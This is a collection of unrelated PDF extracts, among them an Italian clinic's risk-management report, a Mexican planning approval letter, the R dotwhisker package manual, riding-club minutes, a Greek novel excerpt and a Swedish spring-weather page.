| | RISPETTO ALTRI DIRITTI | | | | PRESTAZIONI | | TEMPO D'ATTESA | | | | | | MANCATA PRESTAZIONE | | | | | | INADEGUATEZZA ORGANIZZATIVA | | | | | | PERCEZIONE DELLA QUALITA' TECNICO PROFESSIONALE | | | | ASPETTI ECONOMICI | | TICKET ERRATI E IMPRORI | | | | N. revisione | Ed. 1 | 2 | 3 | 4 | |---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | | | RIMBORSI | |---|---| | RILASCIO DOC. CLINICA (Referti, cartella clinica, lettera di dimissione, materiale iconografico) | MODALITA' | | | TEMPI | | | QUALITA' (vedi requisiti cartella clinica) | | ASSISTENZA PROTESICA | Rapporti con i prescrittori | | | Fornitura ausili | | ASSISTENZA FARMACEUTICA | Distribuzione diretta | | | Distribuzione convenzionata | | INTEGRAZIONE SERVIZI SOCIO SANITARI | Rapporti con MMG e PDF | | | Continuità del rapporto ospedale territorio | | | Dimissioni protette | | | ADI | | | RSA - RSH | | | Area della riabilitazione e della medicina sportiva | | VARIE | | | TOTALE RECLAMI | | | TOTALE ACCESSI | | | VALORE PERCENTUALE IN BASE AGLI ACCESSI | | SINISTRI https://www.villagemma.it/villagemma/static/pdf/analisi_sinistri.pdf INTERVENTI/AZIONI CORRETTIVE E DI MIGLIORAMENTO Tutti i reclami arrivano all'URP, dove vengono registrati. Il Risk Manager viene coinvolto sin dall'insorgere del reclamo, al fine di dare tempestiva risposta all'utente. La Direzione viene sempre coinvolta. Tutte le decisioni prese vengono registrate. Sono stati presi in carico il 100% dei reclami. RICADUTE SULLA PREVENZIONE DEL RISCHIO DERIVANTI DALL'ANALISI DELLA CUSTOMER Da marzo 2020 Regione Lombardia ha sospeso l'utilizzo dei questionari di gradimento. INFEZIONI E POSITIVITÀ VIRALI RISCONTRATE DURANTE IL RICOVERO Il controllo delle infezioni ospedaliere è monitorato in Casa di Cura in modo continuo e si avvale di professionalità, organizzazione e strumenti operativi diversi, coordinati fra loro al fine di giungere ad un obiettivo condiviso. Le "azioni principali" possono essere così riassunte: * Coordinamento operativo dell'attività (Comitato di controllo delle Infezioni Ospedaliere - C.I.O.), * Sorveglianza epidemiologica mediante indagini mirate (prevalenza globale delle Infezioni Ospedaliere), * Sorveglianza basata sulle indagini di laboratorio (L.I.S.), | N. revisione | Ed. 1 | 2 | 3 | 4 | | |---|---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | | | Redattore | UGR | UGR | Spedini | Spedini | pag. 9 di 11 | * Controllo sull'utilizzo dei farmaci (con particolare riferimento alle molecole antibiotiche), * Controllo delle attività di sanificazione ambientale, di disinfezione, di sterilizzazione, * Prevenzione del rischio biologico a carico dei lavoratori, * Attività di informazione e formazione del personale. Tramite la scheda di segnalazione interna delle infezioni ospedaliere (M-DS-02), vengono monitorate le infezioni da virus (HBsAg, HCV, HIV) e le infezioni da batteri (Clostirdium difficile, Salmonella gr. B, Bacilli gram negativi resistente ai carbapenemici, Bacilli gram negativi ESBL, Cocchi gram positivi MRSA, Enterococchi resistenti alla vancomicina VRE). L'analisi non ha evidenziato particolarità di rilievo, salvo una criticità relativa a probabile "cluster Clostridium d. presso i reparti di Villa Gemma e Villa Barbarano" relativamente al riscontro di maggior percentuale di pazienti risultati positivi alla ricerca di Clostridium d. paragonando il periodo marzo-giugno 2021 (1 positivo su 7 pazienti = 14%) con il periodo luglio-settembre 2021 (16 positivi su 52 pazienti = 31%). Per tale motivo in data 11/10/2021 è stata indetta riunione straordinaria del CIO, avente ad oggetto la suddetta criticità. Ipotizzando una possibile colonizzazione dei pazienti occorsa ancora nella struttura di provenienza, è stato consigliato di rafforzare la richiesta di eventuale presenza di sintomi indicativi (diarrea in particolare), prima del trasferimento in reparto riabilitativo o per subacuti. Come ribadito da più voci, spesso vengono taciuti disturbi presenti all'atto dell'invio alla nostra struttura. Inoltre, si è proceduto ad aggiornare la procedura di gestione dei casi di infezioni da Clostridium d. (PM-DS-08). INTERVENTI/AZIONI CORRETTIVE E DI MIGLIORAMENTO L'osservanza delle norme igieniche, la messa in atto dei provvedimenti previsti dalle procedure vigenti, associate ad una costante attenta anamnesi dei pazienti per il controllo di appropriatezza dei ricoveri, hanno consentito di contenere il rischio e prevenire complicanze FARMACO-VIGILANZA / DISPOSITIVO-VIGILANZA Assenti CADUTE | | | | 2021 | |---|---|---|---| | | | Trimestre | % cadute su tot. ricoveri | | Villa Gemma | 1° | | | | | 2° | | | | | 3° | | | | | 4° | | | | | SUBTOTALE ANNO VG | | | | Villa Barbarano | 1° | | | | | 2° | | | | | 3° | | | | N. revisione | Ed. 1 | 2 | 3 | 4 | |---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | | Redattore | UGR | UGR | Spedini | Spedini | M-RM-01 M-RM-01 CONCLUSIONI Nel 2021 sono state effettuate le seguenti attività: 1. monitoraggio della implementazione delle Raccomandazioni Ministeriali riguardo la prevenzione degli eventi sentinella; 2. compilazione delle griglie di autovalutazione redatte da Agenas inerenti le tematiche delle 19 Raccomandazioni Ministeriali; 3. partecipazione Survey Monitoraggio episodi di Violenza commessi a di danni del personale che opera nelle strutture sanitarie lombarde (Regione Lombardia - L.R. 15/2020); 4. aggiornamento e analisi dei dati per singola struttura ed aggregati riferiti a: o schede di segnalazione spontanea degli eventi o schede cadute o richieste di risarcimento o segnalazioni e reclami URP o segnalazioni di malattie infettive, con particolare riguardo alle infezioni da germi Carbapenemasi resistenti e infezioni da Clostridium d. o controllo cartelle cliniche pazienti dimessi (CL-UI-02); 5. aggiornamento e analisi Valutazione dei Rischi secondo il metodo FMEA/FMECA con coinvolgimento Ufficio Qualità e Formazione; 6. compilazione Analisi proattiva del rischio failure mode effect critical analisys (FMECA) processo gestione dei tamponi per la ricerca del SARS-COV-2 (Centro Regionale per la gestione del rischio sanitario e la sicurezza del paziente in collaborazione con il Centro di Riferimento Regionale per la Qualità dei Servizi di Medicina di Laboratorio). | N. revisione | Ed. 1 | 2 | 3 | 4 | |---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | | Redattore | UGR | UGR | Spedini | Spedini |
<urn:uuid:402b8744-1ca7-4882-a3bf-837a68d132b6>
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
23,423
LIC. LETICIA LUNA ENLACE DEL PROGRAMA PREVENCIÓN DE RIESGOS EN LA DELEGACIÓN DE OAXACA PRESENTE En relación al “Programa Municipal de Ordenamiento Territorial de San Juan Bautista Tuxtepec, 2018”, se le informa que, una vez realizada la revisión técnica del documento, esta URP ha determinado que el proyecto cumple con los requerimientos metodológicos y los Términos de Referencia estipulados dentro del Programa Prevención de Riesgos para el ejercicio fiscal 2018. Lo anterior para que se le notifique a la instancia ejecutora y pueda iniciar el procedimiento de impresión del documento. Es necesario que a esta URP se le entregue una impresión del documento final, una síntesis ejecutiva y el anexo cartográfico. De igual manera es necesario que en medios digitales se entreguen los documentos antes mencionados, todos los anexos generados, así como los mapas, bases de datos y las capas de información utilizadas en formato shapefile, excel y pdf. Sin otro particular reciba un cordial saludo. ATENTAMENTE BIOL. GERARDO NEGRETE FERNÁNDEZ DIRECTOR DE POLÍTICA TERRITORIAL C.c.e.p. Ing. Julio Millán Soberanes.- Director General de Ordenamiento Territorial y de Atención a Zonas de Riesgo. Presente. Paseo de la Reforma 26, Torre B, Piso 22. Col. Juárez, CP 06600 Cuauhtémoc, CDMX. www.gob.mx/sedatu
<urn:uuid:e7f1dda4-2d38-4001-8ed1-5577b270a952>
HuggingFaceFW/finepdfs/tree/main/data/spa_Latn/train
finepdfs
spa_Latn
1,309
Package 'dotwhisker' September 27, 2024 ``` Type Package Title Dot-and-Whisker Plots of Regression Results Version 0.8.3 Maintainer Yue Hu <email@example.com> Description Create quick and easy dot-and-whisker plots of regression results. It takes as input either (1) a coefficient table in standard form or (2) one (or a list of) fitted model objects (of any type that has methods implemented in the 'parameters' package). It returns 'ggplot' objects that can be further customized using tools from the 'ggplot2' package. The package also includes helper functions for tasks such as rescaling coefficients or relabeling predictor variables. See more methodological discussion of the visualization and data management methods used in this package in Kastellec and Leoni (2007) <doi:10.1017/S1537592707072209> and Gelman (2008) <doi:10.1002/sim.3107>. Encoding UTF-8 URL https://fsolt.org/dotwhisker/ BugReports https://github.com/fsolt/dotwhisker/issues Depends R (>= 3.2.0), ggplot2 (>= 2.2.1), Imports grid, gtable, gridExtra, stats, parameters, performance, patchwork, dplyr, stringr, ggstance, rlang, purrr Suggests ordinal, tibble, knitr, rmarkdown, broom License MIT + file LICENSE VignetteBuilder knitr RoxygenNote 7.3.2 NeedsCompilation no Author Frederick Solt [aut], Yue Hu [aut, cre], Ben Bolker [ctb], Os Keyes [ctb], Stefan Müller [ctb], Thomas Leeper [ctb], Chris Wallace [ctb], Christopher Warshaw [ctb] ``` Repository CRAN Date/Publication2024-09-27 06:40:05 UTC Contents Index 15 Add Labelled Brackets to Group Predictors in a Dot-and-Whisker Plot Description add_brackets draws brackets along the y-axis beyond the plotting area of a dot-and-whisker plot generated by dwplot, useful for labelling groups of predictors Usage Arguments Details The brackets are drawn by 'grid' functions. Apart from font size and typeface, users can customize the appearance of the bracket labels by setting 'gpar' arguments in 'add_brackets'. Value The function returns a ggplot object. Examples Rescale regression results by multiplying by 2 standard deviations Description by_2sd rescales regression results to facilitate making dot-and-whisker plots using dwplot. Usage Arguments A data frame including the variables term (names of independent variables), estimate (corresponding coefficient estimates), std.error (corresponding standard errors), and optionally model (when multiple models are desired on a single plot) such as generated those by tidy. The data analyzed in the models whose results are recorded in df, or (preferably) the model matrix used by the models in df; the information required for complex models can more easily be generated from the model matrix than from the original data set. In many cases the model matrix can be extracted from the original model via model.matrix. Details by_2sd multiplies the results from regression models saved as tidy data frames for predictors that are not binary by twice the standard deviation of these variables in the dataset analyzed. Standardizing in this way yields coefficients that are directly comparable to each other and to those for untransformed binary predictors (Gelman 2008) and so facilitates plotting using dwplot. Note that the current version of by_2sd does not subtract the mean (in contrast to Gelman's (2008) formula). However, all estimates and standard errors of the independent variables are the same as if the mean was subtracted. The only difference from Gelman (2008) is that for all variables in the model the intercept is shifted by the coefficient times the mean of the variable. An alternative available in some circumstances is to pass a model object to arm::standardize before passing the results to tidy and then on to dwplot. The advantages of by_2sd are that (1) it takes a tidy data frame as its input and so is not restricted to only those model objects that standardize accepts and (2) it is much more efficient because it operates on the parameters rather than refitting the original model with scaled data. Value A tidy data frame References Gelman, Andrew. 2008. "Scaling Regression Inputs by Dividing by Two Standard Deviations." Statistics in Medicine, 27:2865-2873. Examples Dot-and-Whisker Plots of Regression Results Description dwplot is a function for quickly and easily generating dot-and-whisker plots of regression models saved in tidy data frames. Usage Arguments Details dwplot visualizes regression model objects or regression results saved in tidy data frames as dotand-whisker plots generated by ggplot. Tidy data frames to be plotted should include the variables term (names of predictors), estimate (corresponding estimates of coefficients or other quantities of interest), std.error (corresponding standard errors), and optionally model (when multiple models are desired on a single plot; a different name for this last variable may be specified using the model_name argument). In place of std.error one may substitute conf.low (the lower bounds of the confidence intervals of each estimate) and conf.high (the corresponding upper bounds). For convenience, dwplot also accepts as input those model objects that can be tidied by tidy (or parameters (with proper formatting)), or a list of such model objects. By default, the plot will display 95-percent confidence intervals. To display a different interval when passing a model object or objects, specify a ci argument. When passing a data frame of results, include the variables conf.low and conf.high describing the bounds of the desired interval. Because the function can take a data frame as input, it is easily employed for a wide range of models, including those not supported by broom or parameters. And because the output is a ggplot object, . it can easily be further customized with any additional arguments and layers supported by ggplot2 Together, these two features make dwplot extremely flexible. dwplot provides an option to present the average marginal effect directly. Users can alter the confidence intervals of the margins through the ci argument. ^[The function is suspended due to the dependency issue. We'll work on getting it back in the next update.] The 'margins' argument also works for small_multiple and secret_weapon. To minimize the need for lengthy, distracting regression tables (often relegated to an appendix for dot-whisker plot users), dwplot incorporates optimal model fit statistics directly beneath the dotwhisker plots. These statistics are derived using the excellent performance functions and integrated at the plot's base via patchwork and tableGrob functions. For added flexibility, dwplot includes the stats_tb feature, allowing users to input customized statistics. Furthermore, a suite of stats_* functions is available for fine-tuning the presentation of these statistics, enhancing user control over the visual output. Value The function returns a ggplot object. References Kastellec, Jonathan P. and Leoni, Eduardo L. 2007. "Using Graphs Instead of Tables in Political Science." *Perspectives on Politics*, 5(4):755-771. Gelman, Andrew. 2008. "Scaling Regression Inputs by Dividing by Two Standard Deviations." *Statistics in Medicine*, 27:2865-2873. Examples Relabel the Predictors in a Tidy Data Frame of Regression Results Description relabel_predictors is a convenience function for relabeling the predictors in a tidy data frame to be passed to dwplot or a plot generated by dwplot Usage Arguments Either a tidy data frame to be passed to dwplot or a plot generated by dwplot. Named replacements, as in recode. The argument names should be the current values to be replaced, and the argument values should be the new (replacement) values. For backwards compatibility, a named character vector, with new values as values, and old values as names may also be used. The order of the named replacements will be preserved, so this function also serves the purpose of reordering variables. Value The function returns an object of the same type as it is passed: a tidy data frame or a plot generated by dwplot. Examples Relabel the Y-Axis of a Dot-Whisker Plot Description relabel_y_axis DEPRECATED. A convenience function for relabeling the predictors on the yaxis of a dot-whisker plot created by dwplot. It is deprecated; use relabel_predictors instead. Usage Arguments A vector of labels for predictors, listed from top to bottom Value The function returns an object of the same type as it is passed: a plot generated by dwplot. See Also relabel_predictors to relabel predictors on the y-axis of a dot-whisker plot or in a tidy data.frame Generate a 'Secret Weapon' Plot of Regression Results from Multiple Models Description secret_weapon is a function for plotting regression results of multiple models as a 'secret weapon' plot Usage Arguments Details Andrew Gelman has coined the term "the secret weapon" for dot-and-whisker plots that compare the estimated coefficients for a single predictor across many models or datasets. secret_weapon takes a tidy data frame of regression results or a list of model objects and generates a dot-and-whisker plot of the results of a single variable across the multiple models. Tidy data frames to be plotted should include the variables term (names of predictors), estimate (corresponding estimates of coefficients or other quantities of interest), std.error (corresponding standard errors), and model (identifying the corresponding model). In place of std.error one may substitute lb (the lower bounds of the confidence intervals of each estimate) and ub (the corresponding upper bounds). Alternately, secret_weapon accepts as input a list of model objects that can be tidied by tidy (or parameters (with proper formatting)), or a list of such model objects. Value The function returns a ggplot object. Examples Generate a 'Small Multiple' Plot of Regression Results Description small_multiple is a function for plotting regression results of multiple models as a 'small multiple' plot Usage Arguments show_intercept Either a model object to be tidied with tidy, or a list of such model objects, or a tidy data frame of regression results (see 'Details'). A number indicating the level of confidence intervals; the default is .95. [Suspended] A logical value indicating whether presenting the average marginal effects of the estimates. See the Details for more information. A number (typically between 0 and 0.3; the default is .06) indicating how much horizontal separation should appear between different submodels' coefficients when multiple submodels are graphed in a single plot. Lower values tend to look better when the number of models is small, while a higher value may be helpful when many submodels appear on the same plot. A logical constant indicating whether the coefficient of the intercept term should be plotted. Details small_multiple, following Kastellec and Leoni (2007), provides a compact means of representing numerous regression models in a single plot. Tidy data frames to be plotted should include the variables term (names of predictors), estimate (corresponding estimates of coefficients or other quantities of interest), std.error (corresponding standard errors), and model (identifying the corresponding model). In place of std.error one may substitute conf.low (the lower bounds of the confidence intervals of each estimate) and conf.high (the corresponding upper bounds). Alternately, small_multiple accepts as input a list of model objects that can be tidied by tidy (or parameters (with proper formatting)), or a list of such model objects. Optionally, more than one set of results can be clustered to facilitate comparison within each model; one example of when this may be desirable is to compare results across samples. In that case, the data frame should also include a variable submodel identifying the submodel of the results. To minimize the need for lengthy, distracting regression tables (often relegated to an appendix for dot-whisker plot users), dwplot incorporates optimal model fit statistics directly beneath the dotwhisker plots. These statistics are derived using the excellent performance functions and integrated at the plot's base via patchwork and tableGrob functions. For added flexibility, dwplot includes the stats_tb feature, allowing users to input customized statistics. Furthermore, a suite of stats_* functions is available for fine-tuning the presentation of these statistics, enhancing user control over the visual output. Value The function returns a ggplot object. References Kastellec, Jonathan P. and Leoni, Eduardo L. 2007. "Using Graphs Instead of Tables in Political Science." *Perspectives on Politics*, 5(4):755-771. Examples Index ``` add_brackets, 2 by_2sd, 3, 7, 11, 13 dw_plot (dwplot), 4 dwplot, 3, 4, 4, 9–11, 13 geom_linerangeh, 7 geom_point, 7 geom_pointrangeh, 13 geom_polygon, 7 ggplot, 7 gpar, 2 model.matrix, 3 parameters, 7, 11, 14 patchwork, 8, 14 performance, 8, 14 plot_layout, 6, 13 recode, 9 relabel_predictors, 6, 9, 10 relabel_y_axis, 10 secret_weapon, 10 small_multiple, 12 tableGrob, 6, 8, 13, 14 tidy, 3, 4, 6, 7, 11, 12, 14 ```
<urn:uuid:d4934857-2567-47d9-91d7-5377f2bad4ec>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
13,197
North Country Riding Club February 25, 2009 Minutes Members Present: Judy Craig, Jillian Marcho, Lynn Robinson, Danielle Withee, Sylvia Camandona, Karen Clukey, Crystal Clukey, Sarah Rand, Brook Boeglin, Kimberly Derosier, Judy Edgerly, Debbie Day, Linda Lovejoy, Dakota Lovejoy, Destiny Tibbetts, Wendy Lovejoy, Dody Boeglin, and Amanda Sherburne. President Lynn Robinson called the meeting to order with 18 members present. Secretary's and Treasurer's Reports Jillian Marcho read the secretary's report, and it was accepted by all members. Dody Boeglin read the treasurer's report and was accepted by all members. Dody reported that the club has $1,817.93 in the savings and $3,302.90 in checking. The Club made a net profit of $28.50 from the Wagon Ride and sale of food during the Winterfest. Agenda Kim Deroiser reported that the Carriage Show date has not been set yet. Sandra Day and Betty Hagler were mentions for possible driving judges. She will get back with the dates by the next meeting. The Class List has not been done. Kim will talk to Aimee Smith about the revamping of the list and present it to the members at the next meeting. Dr. Miles has agreed to do another Shot clinic. Jillian will speak to Dr. Miles about having the Clinic May 9 and the rain date May 16. Club members discussed possible judges for the upcoming shows. A concern was brought up to the members about having a judge being a trainer and having their students at the shows. Members suggested having judges that are not local. The following judges were suggested by the members: Erika Sawyer, Sheri Thornton, Jennifer Grady, Jessica Smith, Sandy Oliver, and Cindy DeBeck. Jillian and Judy will check with the judges and set up the dates. The Basket Bingo is all set up to go on March 14. Judy and Dody will be responsible for the kitchen. The Club will have beans, hot dogs, and rolls on sale. Members will bring the sweets. Destiny, Wendy, Dakota, and Brooke have volunteered to help at the Bingo. Judy will email to members about the bingo and ask for volunteers for the sweets. Volunteers need to be at the Dover Legion Hall about 10. Judy presented to the members the NCRC Program booklet. Members agreed on having a booklet like this for the shows. Judy will bring the sponsor forms to the next meeting. A building committee was set up which consist of Judy, Dody, Sarah, and Kim. Instead of having a May bottle drive, the club agreed to have people drop off bottles at the shows and also to have a barrel at the Basket Bingo. The Game Show has been rescheduled for September 27. Judy presented to the Club the building plans that Casey Wilson has proposed. Members suggested different changes to be considered by the Building Committee. The building is estimated to cost $6,000 in materials. The Club will look into donations and possible grants. The Committee will report at the next meeting. Respectfully submitted, Amanda Sherburne Secretary
<urn:uuid:f5af1e38-d21d-4e60-8ccf-3ba0a10cf948>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
2,976
HOUSE STANDING COMMITTEE ON EDUCATION AND EMPLOYMENT INQUIRY INTO MENTAL HEALTH AND WORKFORCE PARTICIPATION Friday 13 May 2011 Room 1R2, Parliament House, Canberra
<urn:uuid:aedba1ff-09be-47aa-8958-c40b4f9c9fad>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
166
Κεφάλαιο 1 ΗΝέα Υόρκη είναι ένα πολύβουο κράμα αρχοντιάς και μιζέριας. Λίγες δεκάδες μέτρα από τις αριστοκρατικές λεωφόρους, μπορείς να βρεις καταρρακωμένα σπίτια με διαμερίσματα που κατοικούνται από κάθε λογής ανθρώ­ πους, με τους οικονομικούς μετανάστες, νόμιμους και μη, να αποτελούν την τεράστια πλειοψηφία. Όλοι μαζί στροβιλίζονται σ' ένα αέναο χορό, τον χορό του δολαρίου. Απλώς κάποιοι μιλάνε για πολλά δολάρια και κάποιοι για λίγα. Το μέγεθος δεν έχει σημασία, όλοι το ίδιο πράγμα θέλουνε. Κάποιοι το βγάζουν εύκολα κλεισμένοι στα πολυτελή τους γραφεία με τις τεράστιες τζαμαρίες που πολλές φορές κοιτάζουν από ψηλά το Σέντραλ Παρκ και κάποιοι βγάζουν μόνο μερικά κάθε μέρα ή μερικές μόνο μέρες την εβδομάδα. Θα βρεις από υπέροχα πολυτελή εστιατόρια μέχρι τρύπες που κανονικός άνθρωπος δεν θα πλησίαζε ποτέ, και αν τις πλησίαζε, θα είχε τεράστιο πρόβλημα να χω­ νέψει –αν κατάφερνε να χωνέψει– αυτά που θα έτρωγε. Ανεξάρτητα από αυτό, ήταν όλα γεμάτα. Σε αυτή την πόλη των αντιθέσεων μπορούσες να φας τεράστιες ποσότητες άνοστου συνήθως φαγητού, με πολύ λίγα χρήματα. Αυτή η περίεργη πόλη, φορτωμένη με αρκετά εκατομμύ­ ρια κατοίκων, κατάφερνε καθημερινά με ένα μαγικό τρόπο να ξεπερνάει τις δυσκολίες της και να τραβάει μπροστά. Χώνεψε ακόμη και τις πληγές των δίδυμων πύργων με τους σχεδόν τέσσερις χιλιάδες νεκρούς, κάτι που ενδεχομένως καμία άλλη πόλη στον πλανήτη δεν θα κατάφερνε να κάνει. Τους έκλαψε, τους έθαψε και συνέχισε. Ίσως όχι πια η ίδια όπως παλιά. Κάποια πράγματα άλλαξαν αλλά και αυτά η συντριπτική πλειοψηφία των κατοίκων τα ξέχασε. Και αν σήμερα μετά το Patriot's Act μπορείς να βρεθείς κρατού­ μενος χωρίς να ξέρει κανείς πού βρίσκεσαι, έστω και για υποψίες τρομοκρατίας, αυτή είναι μία λεπτομέρεια που ο πολύς κόσμος ξεπέρασε ήδη. Η ζωή στη μεγαλούπολη συνεχίζεται χωρίς ουσιαστική διακοπή! Η Αμερική έχει πολλές ιδιομορφίες σε σχέση με τις άλλες χώρες. Μια από τις μεγαλύτερες ίσως είναι η ισχύς του κράτους. Και σίγουρα η μεγαλύτερη είναι η ικανότητα του να περνάς αυτή την ισχύ απαρατήρητη στον πολύ κόσμο! Και αυτό το κατάφεραν οι Αμερικανοί σε θαυμαστό βαθμό. Μπορεί οι επικοινωνίες σου να παρακολουθού­ νται. Μπορεί οι ιδιωτικές στιγμές να ανήκουν στη σφαίρα της φαντασίας και κάποιος, όποτε θέλει, να μπορεί να ξέρει τι λες και τι κάνεις. Μπορεί να έχει επιστρατευτεί ένας δορυφόρος και να φωτογραφίζει την πινακίδα του αυτοκινήτου σου ή τη μάρκα των τσιγάρων σου. Μπορεί να συμβαίνουν όλα αυτά και άλλα τόσα ακόμη. Και το πιο αστείο είναι ότι όλα αυτά μπορείς να τα δεις στο σινεμά και να τα θεωρήσεις… φυσιολογικά! Ο πολύς κόσμος όμως δεν ασχολείται. Τρέχει πίσω από το δολάριο, συνήθως χρωστάει περισσότερα απ' όσα βγάζει, δεν αισθάνεται ασφάλεια στη δουλειά του και κοιτώντας μακροσκοπικά όλους αυτούς τους ανθρώπους καταλήγεις σε ένα βέβαιο συμπέρασμα. Αν και βασικά προέρχονται από την Ευρώπη, έχουν γίνει πολύ διαφο­ ρετικοί από τους Ευρωπαίους. Καλύτεροι ή χειρότεροι; Δύσκολο να απαντήσεις. Σίγουρα οι Αμερικανοί είναι πιο απλοί από τους Ευ­ ρωπαίους. Σχεδόν απλοϊκοί! Κι όμως αποτελεσματικοί. Καλύτερο παράδειγμα η γλώσσα. Έχουν απλοποιήσει τα Αγγλικά τόσο πολύ, που τις περισσότερες φορές υπάρχει διαχωρισμός μεταξύ των Αγγλικών και των Αμερικανι­ κών όταν μπορείς να επιλέξεις – σ' έναν υπολογιστή, ας πούμε. Και ιδού το θαύμα! Με μία γλώσσα σχεδόν δύο φορές απλούστερη, έχουν ακριβώς το ίδιο αποτέλεσμα. Δεν έχουν τον ίδιο πλούτο λέξεων. Και λοιπόν; Φτάνουν στο ίδιο αποτέλεσμα; Σίγουρα ναι. Στη χώρα αυτή των αντιθέσεων ο εύκολος δρόμος αποτελεί αυτονόητο δικαίωμα και όχι εξαίρεση. Κι έτσι απαλλαγμένη από τα ταμπού της Ευρώπης, η Αμερική αυτή έμελλε να γίνει η μεγαλύτερη δύναμη της Γης. Κοιτάζοντας αφηρημένα από το παράθυρο του ταξί που ελισσόταν μέσα στην απίθανη κίνηση της αμερικανικής μεγαλούπολης, ο Άρης συλλογιζόταν την ημέρα που έφτασε εδώ, μερικά χρόνια πριν. Έχοντας αποτύχει στις εισαγωγικές αρκετά πριν ξεσπά­ σει η κρίση στην Ελλάδα, κλήθηκε να αποφασίσει αν θα περίμενε άλλο ένα χρόνο ή αν θα επέλεγε τη λύση του εξωτερικού. Πέρασαν πάνω από δέκα χρόνια από τότε και θυμόταν αυτή τη μέρα σαν να ήταν χθες. Η απόφαση να φύγει πάρθηκε από τον ίδιο και τους γονείς του σε λίγη ώρα μόνο. Θυμόταν ακόμη τον πατέρα του που είχε πει σοβαρός ότι ο χρόνος είναι πολύ πολύτιμος για να τον αφήνουμε να περνάει χωρίς σκοπό. Αποφάσισαν μαζί ότι ήταν φρόνιμο να ξεμπερδέψει με τον Στρατό πρώτα και στο μεταξύ να ετοιμαστεί για την Αμερική. Υπηρέτησε χωρίς προβλήματα και μετά τη βασική του εκπαίδευση βρέθηκε στις μονάδες καταδρομών και λίγο μετά στους βατραχανθρώπους. Το σκαρί του ήταν τέλειο και έβγαλε την εκπαίδευση με άριστα. Του έγινε πρόταση να μείνει, αλλά εκείνος είχε άλλα σχέδια. Ο λοχαγός του άκουσε με συμπάθεια τα όνειρά του και δεν του έφερε καμία αντίρρηση. Αντιθέτως, από τη μέρα που μιλήσανε μαζί τον είχε υπό την προστασία του. Γύρισε σπίτι του πολύ πιο δυνατός απ' ό,τι ήταν όταν έφυγε. Έφυγε παιδί και γύρισε άντρας. Ήρεμος, σκληρα­ γωγημένος και απίστευτα γερός προς μεγάλη περηφάνια του πατέρα του, που είχε βάλει τη φωτογραφία του με τη στολή σε περίοπτη θέση πάνω στο τζάκι. Το πού θα πήγαινε ήταν σχετικά απλό. Ο αδελφός του πατέρα του έμενε στη Νέα Υόρκη και τα κατάφερνε μια χαρά. Δέχτηκε με χαρά την πρόταση του πατέρα του και λίγες μέρες αργότερα υποδέχτηκε τον ανιψιό του με ανοιχτή αγκαλιά στο αεροδρόμιο Κένεντι έχοντας δίπλα του τη γυναίκα του, την Έλα, και τον γιο του, τον Κώστα. Τα Αγγλικά του Άρη ήταν ήδη εξαιρετικά και ευγνω­ μονούσε τον πατέρα του που επέμεινε από νωρίς να τα μάθει. Μόνο που στην Αμερική ένιωσε, στις αρχές του­ λάχιστον, ότι μιλούσαν κάποια διαφορετική γλώσσα που έμοιαζε με Αγγλικά. Λεπτομέρειες. Σε ελάχιστο χρονικό διάστημα ένιωθε στην Αμερική σπίτι του! Η εισαγωγή στο Πανεπιστήμιο αποδείχτηκε δυσκολό­ τερη απ' όσο περίμενε. Το Κολούμπια, που αποτελούσε φυσική επιλογή τόσο για το όνομά του όσο και για το γεγονός ότι βρισκόταν στη Νέα Υόρκη, έχει τη φήμη ενός από τα πιο δύσκολα ιδρύματα της Αμερικής. Καταλαμβάνοντας 132 στρέμματα στο Μόρνινγκσαϊντ Χάιτς στον δήμο του Μανχάταν και με άλλα οκτακόσια σχεδόν στρέμματα στη γύρω περιοχή, δέχεται περίπου το 10% των φοιτητών που επιθυμούν να φοιτήσουν κάθε χρόνο. Ιδρύθηκε το 1754 σαν King's College από την εκκλησία της Αγγλίας και έχει κάθε λόγο να είναι περή­ φανο για την ιστορία του και τις επιδόσεις του. Ιδιαίτερα αν μετρήσει κανείς τους 87 κατόχους βραβείων Νόμπελ που είτε προέρχονται από αυτό είτε έχουν πολύ στενή σχέση μαζί του. Ένα χρόνο αργότερα ο Άρης, που αποκλείστηκε από το ελληνικό σύστημα, βρισκόταν πλέον στη Σχολή SEAS, την αντίστοιχη Πολυτεχνική Σχολή, σε ένα από τα καλύ­ τερα πανεπιστήμια του κόσμου. Και τότε μόνο κατάλαβε γιατί η Αμερική βρίσκεται εκεί που είναι και γιατί οι άνθρωποι αυτοί θα φθάσουν ακόμη πιο ψηλά από εκεί που βρίσκονται. Η φοίτηση του κύλησε τόσο εύκολα, που αν κάποιος του το έλεγε πριν πάει, απλώς δεν θα τον πίστευε! Ο τρόπος με τον οποίο τον αντιμετώπισαν οι πάντες θα του έμενε αξέ­ χαστος. Σαν να αναγνώριζαν ότι πήγε εκεί για να μάθει και η δουλειά τους ήταν ακριβώς αυτή. Να τον μάθουν. Με μία απαράβατη προϋπόθεση όμως. Ότι πραγματικά ήθελε να μάθει. Ότι δεν έχανε τον δικό του καιρό ούτε τον καιρό των υπολοίπων. Και ο Άρης ήθελε να μάθει!
<urn:uuid:6f8ee3d8-5835-4bf6-948c-c0ba4aa60b5a>
HuggingFaceFW/finepdfs/tree/main/data/ell_Grek/train
finepdfs
ell_Grek
7,189
VÅRENS BEVIS Enligt den meteorologiska definitionen i Sverige är det vår först när dygnsmedeltemperaturen ligger över fryspunkten minst sju dygn i sträck. Det har blivit en naturlig gräns eftersom snön smälter och naturen tinar upp vid noll grader eller högre temperatur. Tidigare var kravet fem dygn men det utökades eftersom det hände att våren kom tidigt och att det sedan blev långvariga bakslag med kyligt väder. VÅREN JUST NU 30 mars. Här är våren just nu Varningar för höga flöden Klass 2 varning Mycket höga flöden i små och medelstora vattendrag Klass 1 varning Höga flöden i små och medelstora vattendrag
<urn:uuid:e1189fb0-9f64-44e6-aa5e-95d6e6a4afc8>
HuggingFaceFW/finepdfs/tree/main/data/swe_Latn/train
finepdfs
swe_Latn
620
